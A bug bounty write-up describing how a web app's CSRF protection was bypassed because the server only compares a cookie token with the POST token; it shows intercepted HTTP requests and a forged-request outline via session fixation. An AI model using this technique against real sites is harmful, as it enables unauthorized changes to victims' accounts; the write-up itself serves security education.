Bug Bounty: Let’s Bypass an entire Web App’s CSRF protection

4 years ago 246

BOOK THIS SPACE FOR AD

ARTICLE AD

Hello Guys,

I hope you are doing well these times. I decided to write some interesting bug bounty write-ups to help newbies find their first bug.

Today I would like to talk about a Bug I found in a private bug bounty program. It consists of bypassing the entire csrf protection system of the company’s Web app.

As it is a private bug bounty program, let’s assume that our target is https://redacted.com.

Now, when editing my account’s settings, I always look for CSRF. When saving my account’s settings, I get a request like this:

POST /User/Edit?status=success HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 303
Origin: https://redacted.com
Connection: close
Referer: https://redacted.com/User/Edit?status=success
Cookie: Cookie: _ga=value; _gid=value; _fbp=value; _hjid=value; session=value; countryCode=value; regionCode=04; current_page=%2FUser%2FEdit%3Fstatus%3Dsuccess; banner-covid19-dismissed=1; last_page=%2FUser%2FEdit; csrf=1j2wjowidwdne; _uetsid=value; _uetvid=value
Upgrade-Insecure-Requests: 1originalEditLogin=email@email.com&originalEditUsername=Test+Pentester+CSRF&userid=userid&avatarImageID=&uniqueUsername=testpentester&editUsername=Test+Pentester+CSRF+test&Ecom_BillTo_Online_Email_Login_Edit=email@email.com&editPassword=&editPassword2=&latitude=&longitude=&csrf=1j2wjowidwdne

Everything seems OK for now, but try taking a look at cookies. You will notice that there is a csrf value there; above all, it has the same value of the csrf token in the POST data. Sounds good …

Why is there a duplicate of csrf token of POST data in a cookie? This makes no sense is the token is validated server-side. But what if the token was validated client-side?

I tried changing the csrf value in both cookie and post data parameters with another token value, let’s say customtoken123 . The request looked like this:

POST /User/Edit?status=success HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 303
Origin: https://redacted.com
Connection: close
Referer: https://redacted.com/User/Edit?status=success
Cookie: Cookie: _ga=value; _gid=value; _fbp=value; _hjid=value; session=value; countryCode=value; regionCode=04; current_page=%2FUser%2FEdit%3Fstatus%3Dsuccess; banner-covid19-dismissed=1; last_page=%2FUser%2FEdit; csrf=customtoken123; _uetsid=value; _uetvid=value
Upgrade-Insecure-Requests: 1originalEditLogin=email@email.com&originalEditUsername=Test+Pentester+CSRF&userid=userid&avatarImageID=&uniqueUsername=testpentester&editUsername=Test+Pentester+CSRF+test&Ecom_BillTo_Online_Email_Login_Edit=email@email.com&editPassword=&editPassword2=&latitude=&longitude=&csrf=customtoken123

And, when I forwarded this, I got a successful response, WOW!

This is because, the application checks if the token in POST data and in cookie, have the same value. So, the token isn’t validated sever-side. This particular CSRF attack is named CSRF via session fixation. This name is due the way to exploit it: you first use a session fixation attack to change the csrf token in cookie value to, for example tok_1234, and then make the victim execute a POST request like this:

POST / HTTP/1.1originalEditLogin=email@email.com&originalEditUsername=Test+Pentester+CSRF&userid=userid&avatarImageID=&uniqueUsername=testpentester&editUsername=Test+Pentester+CSRF+test&Ecom_BillTo_Online_Email_Login_Edit=email@email.com&editPassword=&editPassword2=&latitude=&longitude=&csrf=tok_1234If there is a csrf protection, it does not mean the webapp is not vunlerable to csrfAlways look at cookies when looking for csrf

Hope you enjoyed this content and stay tuned for more interesting BugBounty tips and writeups.

Read Entire Article